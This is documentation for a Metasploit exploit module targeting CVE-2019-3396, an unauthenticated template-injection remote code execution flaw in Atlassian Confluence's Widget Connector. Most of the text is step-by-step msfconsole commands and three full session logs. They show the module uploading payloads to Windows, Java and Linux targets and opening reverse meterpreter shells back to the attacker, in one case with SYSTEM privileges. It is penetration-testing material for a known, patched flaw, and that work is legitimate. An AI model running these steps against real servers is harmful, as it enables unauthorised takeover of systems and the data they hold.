# Description

This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability.

The vulnerability exists in the Widget Connector Macro which allow inject the "\_template" from the outside for some services, such as Youtube, Viddler, DailyMotion, etc.

The module has been tested with on Atlassian Confluence 6.6.12, 6.8.2, 6.12.0 and 6.13.0 using Java, Windows and Linux meterpreter payload.

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

## Vulnerable Application
Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2.

## Verification Steps

- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2.
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/confluence_widget_connector`
- [ ] `set RHOST <IP>`
- [ ] `set RPORT <PORT>`
- [ ] `set SRVHOST <HOST_IP>`
- [ ] `check`
- [ ] You should see `The target is vulnerable`
- [ ] `exploit`
- [ ] You should get a meterpreter session.

## Options
- **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default)
- **TRIGGERURL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=kxopViU98Xo" is the default)

## Scenarios
## Tested on Confluence 6.8.2 with Windows target
```
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > set TARGET Windows
TARGET => Windows
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Windows 10
[*] target.com:8090 - Attempting to upload C:\PROGRA~1\Atlassian\Confluence\temp\gAdGh.exe
[*] target.com:8090 - Attempting to copy payload to C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe
[*] target.com:8090 - Attempting to execute C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe
[*] Sending stage (179779 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:62528) at 2019-04-11 03:13:37 +0000
[*] target.com:8090 - Waiting for exploit to complete...
[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\FFDBo.exe' on the target
[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\JLzIZ.exe' on the target
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > quit
[*] Shutting down Meterpreter...

[*] target.com - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
```

## Tested on Confluence 6.8.2 with Java target
```
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Linux
[*] target.com:8090 - Attempting to upload  /opt/atlassian/confluence/temp/EjpPf.jar
[*] target.com:8090 - Attempting to execute  /opt/atlassian/confluence/temp/EjpPf.jar
[*] Sending stage (53866 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000
[+] target.com:8090 -Deleted /opt/atlassian/confluence/temp/EjpPf.jar
[*] target.com:8090 - Waiting for exploit to complete...
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: confluence
meterpreter > quit
[*] Shutting down Meterpreter...

[*] target.com - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
```

## Tested on Confluence 6.8.2 with Linux target
```
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Linux
[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/BYHzD
[*] target.com:8090 - Attempting to copy payload to /opt/atlassian/confluence/temp/dESMnt
[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/dESMnt
[*] Sending stage (985320 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000
[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/BYHzD
[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/dESMnt
[*] target.com:8090 - Waiting for exploit to complete...
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: uid=1001, gid=1001, euid=1001, egid=1001
meterpreter > quit
[*] Shutting down Meterpreter...

[*] target.com - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
```
